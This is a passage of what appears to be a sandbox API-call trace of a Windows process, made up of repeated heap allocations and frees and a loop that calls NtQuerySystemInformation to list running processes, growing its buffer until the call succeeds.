BaseAddress=0x1b82d1c0) returned 1 [0170.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1c950 [0170.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1c950 [0170.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1c950 [0170.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c950 [0170.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a9e20 [0170.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0170.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1c950 [0170.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c1c950 [0170.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0170.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c950 [0170.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c950 [0170.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0170.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0170.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42be49b0) returned 1 [0170.651] Sleep (dwMilliseconds=0x64) [0170.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42b849e0 [0170.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42b849e0, ResultLength=0x0) returned 0xc0000004 [0170.759] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849e0, Size=0x2048) returned 0x4264e500 [0170.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0170.759] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x42ba49e0 [0170.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ba49e0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ba49e0, ResultLength=0x0) returned 0xc0000004 [0170.760] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ba49e0, Size=0x4090) returned 0x42be49b0 [0170.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.761] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x50b4) returned 0x42be49b0 [0170.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.761] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x60d8) returned 0x42be49b0 [0170.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.762] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x70fc) returned 0x42be49b0 [0170.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.763] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x8120) returned 0x42be49b0 [0170.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.763] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x9144) returned 0x42be49b0 [0170.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.764] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xa168) returned 0x42be49b0 [0170.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.764] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xb18c) returned 0x42be49b0 [0170.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.765] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xc1b0) returned 0x42be49b0 [0170.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.766] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xd1d4) returned 0x42be49b0 [0170.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.766] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xe1f8) returned 0x42be49b0 [0170.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.767] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xf21c) returned 0x42be49b0 [0170.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.767] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x10240) returned 0x42be49b0 [0170.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.768] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x11264) returned 0x42be49b0 [0170.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.769] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x12288) returned 0x42be49b0 [0170.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.770] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x132ac) returned 0x42be49b0 [0170.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.770] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x142d0) returned 0x42be49b0 [0170.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.771] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x152f4) returned 0x42be49b0 [0170.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.772] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x16318) returned 0x42be49b0 [0170.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.773] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1733c) returned 0x42be49b0 [0170.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.774] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x18360) returned 0x42be49b0 [0170.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.775] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x19384) returned 0x42be49b0 [0170.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.775] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1a3a8) returned 0x42be49b0 [0170.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.776] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1b3cc) returned 0x42be49b0 [0170.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.777] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1c3f0) returned 0x42be49b0 [0170.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.777] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1d414) returned 0x42be49b0 [0170.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.778] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1e438) returned 0x42be49b0 [0170.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.779] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1f45c) returned 0x42be49b0 [0170.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.780] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x20480) returned 0x42be49b0 [0170.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.780] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x214a4) returned 0x42be49b0 [0170.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.781] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x224c8) returned 0x42be49b0 [0170.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.782] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x234ec) returned 0x42be49b0 [0170.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.783] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x24510) returned 0x42be49b0 [0170.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.783] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x25534) returned 0x42be49b0 [0170.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.784] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x26558) returned 0x42be49b0 [0170.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.785] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2757c) returned 0x42be49b0 [0170.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.786] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x285a0) returned 0x42be49b0 [0170.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.787] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x295c4) returned 0x42be49b0 [0170.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.787] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2a5e8) returned 0x42be49b0 [0170.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0170.788] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2b60c) returned 0x42be49b0 [0170.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0179.604] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2c630) returned 0x43034060 [0179.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034060, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x43034060, ResultLength=0x0) returned 0xc0000004 [0179.618] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034060, Size=0x2d654) returned 0x43034060 [0179.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034060, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x43034060, ResultLength=0x0) returned 0xc0000004 [0179.620] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034060, Size=0x2e678) returned 0x43034060 [0179.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034060, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x43034060, ResultLength=0x0) returned 0x0 [0179.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0179.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0179.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0179.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0179.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdb0bc0 [0179.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0179.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0179.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0179.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0179.635] RtlFreeHeap (HeapHandle=0xa0000, 